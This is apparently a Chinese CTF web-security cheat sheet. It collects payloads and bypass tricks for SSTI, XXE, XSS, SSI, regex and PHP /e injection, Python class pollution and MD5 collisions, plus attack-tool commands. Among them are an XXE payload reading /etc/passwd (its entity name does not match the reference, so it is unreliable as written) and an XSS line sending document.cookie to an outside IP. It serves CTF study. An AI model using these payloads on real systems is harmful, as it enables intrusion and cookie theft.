{{[].__class__.__base__.__subclasses__()[132].__init__["__globals__"]}}

这种情况下global被引号包围了,就可以使用字符串拼接的方法进行绕过。

XXE

原理部分

什么是XML?

可扩展标记语言,用于保存和处理数据之间的关系。

XML的基本语法:

1
2
3
4
5
6
7
8
9
<?xml version="1.0" encoding="UTF-8" standalone="yes"?><!--xml文件的声明-->
<bookstore> <!--根元素-->
<book category="COOKING"> <!--bookstore的子元素,category为属性-->
<title>Everyday Italian</title> <!--book的子元素,lang为属性-->
<author>Giada De Laurentiis</author> <!--book的子元素-->
<year>2005</year> <!--book的子元素-->
<price>30.00</price> <!--book的子元素-->
</book> <!--book的结束-->
</bookstore> <!--bookstore的结束-->

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>为XML prolog,声明了XML文档的版本和编码,放在开头。

standalone的默认值为no,当其为yes的时候,会导致外部实体被禁用。

什么是DTD

XML文档的格式规范由DTD控制。

可在XML文档内声明,也可以外部引用。

内部:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0"?>
<!DOCTYPE note [<!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)><!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)><!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)><!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)><!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)><!--定义body元素为”#PCDATA”类型-->
]>
<note>
<to>Y0u</to>
<from>@re</from>
<head>v3ry</head>
<body>g00d!</body>
</note>

外部:

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root-element SYSTEM "test.dtd">
<note>
<to>Y0u</to>
<from>@re</from>
<head>v3ry</head>
<body>g00d!</body>
</note>

test.dtd:

1
2
3
4
<!ELEMENT to (#PCDATA)><!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)><!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)><!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)><!--定义body元素为”#PCDATA”类型-->

任意读取文件payload:

1
2
3
4
5
6
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE a [
<!ENTITY aaa SYSTEM "file:///etc/passwd">
]>
<root>
<name>&file;</name>
</root>

/proc/net/arp和/proc/net/fib_trie可以探测内网的网段。

对可疑网段进行爆破:

XSS

原理:把javascript代码插入到前端代码中执行

反射性XSS:在url中构造好payload,发送给受害者,受害者点击从而执行

存储型XSS:传入到服务端中,受害者点击看似正常的链接也能触发

CTF中针对无过滤的基本payload:

1
<script>window.location.href='http://8.137.78.89/cookie.php?a='+document.cookie</script>

过滤script

1
<IMG SRC="" onerror="alert('XSS')">

图片没有指定,即是出错,触发Onerror事件。

1
<BODY onload="alert('XSS')">

尝试通过大小写进行绕过:

1
<sCRiPt>aLErT(1)</sCrIpT>

SSI

如果网站目录中发现了形如.stm;.shtm;.shtml这样的文件,可以使用如下的payload进行命令执行:

1
<!--#exec cmd="ls"-->

正则表达式

^

^号紧贴着开头的/号的后面,表示匹配字符串的开始位置。

例如:

1
/^abc/

字符串abc会被匹配,而66abc不会被匹配,因为abc没有处于开头的位置。

$

$号紧贴着最后一个/号的前面,表示匹配字符串的结束位置。

例如:

1
/abc$/

字符串abc会被匹配,而abc66不会被匹配,因为abc没有处于结尾的位置。

在非多行模式中,其会忽略句尾的%0a,即不比较多行,例如:

1
2
3
if (preg_match('/^flag$/', $_GET['a']) && $_GET['a'] !== 'flag') {
echo $flag;
}
1
?a=flag%0a

.

表示出了“新行”之外的所有字符,可以使用\n换行进行绕过。例如:

1
2
3
if (preg_match('/^.*(flag).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
}

绕过:

1
$json="\nflag"

/i

表达式若出现/i代表匹配时不区分大小写,若遇到正则没开启/i时可以尝试大小写绕过。

/m

表达式若出现/m代表匹配时开启多行匹配,但遇到换行符**%0a**时,会被当做两行处理,而此时只可以匹配第 1 行,后面的行就会被忽略。

/e

可能引起RCE漏洞,payload:

1
preg_replace('.*')/ei','strtolower("\\1")', {${此处填函数名}});

.*可以替换成\S*

遇到如下的无限制传参:

1
2
3
<?php
echo preg_replace($_GET["pattern"], $_GET["new"], $_GET["base"]);
?>

可以传入/e修饰符,使中间的”new”代码被执行。

1
?pattern=/233/e&new=phpinfo()&base=233

Java

类加载机制

前向引用

如下代码:

1
2
3
4
5
6
7
public class Test {
static {
i = 0;
System.out.print(i); // 编译报错:错误: 非法前向引用
}
static int i = 1; //在静态代码块之后
}

前向引用(Forward Reference)是指在声明之前就试图使用变量。Java 不允许在静态代码块中直接引用未初始化的静态变量,这就是所谓的“非法前向引用”。

如果用类名来引用则会不同:

1
2
3
4
5
6
7
public class Test {
static {
i = 0;
System.out.print(Test.i); // 带上类名就不会有编译报错
}
static int i = 1;
}

使用类名访问静态变量时,编译器会现将其作为一个完整的符号引用处理,它可以在类加载过程中解析Test.i,即使该静态变量仍未初始化。

Python原型链污染

污染源码演示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
log_path = "text.txt"

def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

class logtext():
def __init__(self):
pass

payload = {
"__init__" : {
"__globals__" : {
"log_path" : "world"
}
}
}

merge(payload,logtext())

print(log_path) #运行后输出world

修改内置属性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
class father:
pass

class son_a(father):
pass

class son_b(father):
pass

def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

instance = son_b()
payload = {
"__class__" : {
"__base__" : {
"__str__" : "Polluted ~"
}
}
}

print(father.__str__)
#<slot wrapper '__str__' of 'object' objects>
merge(payload, instance)
print(father.__str__)
#Polluted ~

污染全局变量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
secret_var = 114

def test():
pass

class a:
secret_class_var = "secret"

class b:
def __init__(self):
pass

def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

instance = b()

payload = {
"__init__" : {
"__globals__" : {
"secret_var" : 514,
"a" : {
"secret_class_var" : "Pooooluted ~"
}
}
}
}

print(a.secret_class_var)
#secret
print(secret_var)
#114
merge(payload, instance)
print(a.secret_class_var)
#Pooooluted ~
print(secret_var)
#514

Docker

常用命令:

停用所有容器:

1
docker stop $(docker ps -a -q)

删除所有容器:

1
docker rm $(docker ps -a -q)

Linux

/proc的利用

相关文章:https://www.anquanke.com/post/id/241148#h3-2

在linux中,proc是一个虚拟文件系统,也是一个控制中心,里面储存是当前内核运行状态的一系列特殊文件;该系统只存在内存当中,以文件系统的方式为访问系统内核数据的操作提供接口,可以通过更改其中的某些文件来改变内核运行状态。它也是内核提供给我们的查询中心,用户可以通过它查看系统硬件及当前运行的进程信息。(pid)好像能换成self?

1
2
3
4
5
6
7
8
/proc/pid/cmdline 包含了用于开始进程的命令 ;
/proc/pid/cwd 包含了当前进程工作目录的一个链接 ;
/proc/pid/environ 包含了可用进程环境变量的列表 ;
/proc/pid/exe 包含了正在进程中运行的程序链接;
/proc/pid/fd/ 这个目录包含了进程打开的每一个文件的链接;
/proc/pid/mem 包含了进程在内存中的内容;
/proc/pid/stat 包含了进程的状态信息;
/proc/pid/statm 包含了进程的内存使用信息。

makefile读s取文件内容

命令:

1
content := $(shell cat flag)

Nginx

存放重要文件的常见位置:

1
2
3
4
5
6
7
8
配置文件存放目录:/etc/nginx
主配置文件:/etc/nginx/conf/nginx.conf
管理脚本:/usr/lib64/systemd/system/nginx.service
模块:/usr/lisb64/nginx/modules
应用程序:/usr/sbin/nginx
程序默认存放位置:/usr/share/nginx/html
日志默认存放位置:/var/log/nginx
配置文件目录为:/usr/local/nginx/conf/nginx.conf 或是: /usr/local/nginx/conf/default.config

MD5绕过

MD5弱比较

数组绕过

1
a[]=0&b[]=1

0e绕过

1
a=0e462097431906509019562988736854&b=0e830400451993494058024219903391

MD5强比较

强碰撞

1
M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
1
M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

字符型强碰撞(fastcoll)

1
psycho%0A%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00W%ADZ%AF%3C%8A%13V%B5%96%18m%A5%EA2%81_%FB%D9%24%22%2F%8F%D4D%A27vX%B8%08%D7m%2C%E0%D4LR%D7%FBo%10t%19%02%82%7D%7B%2B%9Bt%05%FFl%AE%8DE%F4%1F%84%3C%AE%01%0F%9B%12%D4%81%A5J%F9H%0FyE%2A%DC%2B%B1%B4%0F%DEcC%40%DA29%8B%C3%00%7F%8B_h%C6%D3%8Bd8%AF%85%7C%14w%06%C2%3AC%BC%0C%1B%FD%BB%98%CE%16%CE%B7%B6%3A%F3%99%B59%F9%FF%C2
1
psycho%0A%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00W%ADZ%AF%3C%8A%13V%B5%96%18m%A5%EA2%81_%FB%D9%A4%22%2F%8F%D4D%A27vX%B8%08%D7m%2C%E0%D4LR%D7%FBo%10t%19%02%02%7E%7B%2B%9Bt%05%FFl%AE%8DE%F4%1F%04%3C%AE%01%0F%9B%12%D4%81%A5J%F9H%0FyE%2A%DC%2B%B1%B4%0F%DEc%C3%40%DA29%8B%C3%00%7F%8B_h%C6%D3%8Bd8%AF%85%7C%14w%06%C2%3AC%3C%0C%1B%FD%BB%98%CE%16%CE%B7%B6%3A%F3%9959%F9%FF%C2

前后加密弱相等成立

1
0e215962017

一些脚本的使用方法

Session伪造脚本

1
python flask_session_cookie_manager3.py decode -s "密钥" -c "session值"
1
python flask_session_cookie_manager3.py encode -s "密钥" -t "session值"

dirsearch脚本

使用文件拓展名为php,html,js的字典扫描目标url:

1
python dirsearch.py -e php,html,js -u https://target

使用字典:

1
python dirsearch.py -u 网址 -w D:\CTF\dicc.txt

fenjing脚本

1
python -m fenjing scan --url http://

jwt-cracker

用虚拟机打开CTF-tools

1
./jwtcrack jwt

Gopherus-master

虚拟机中打开

1
./gopherus.py --exploit mysql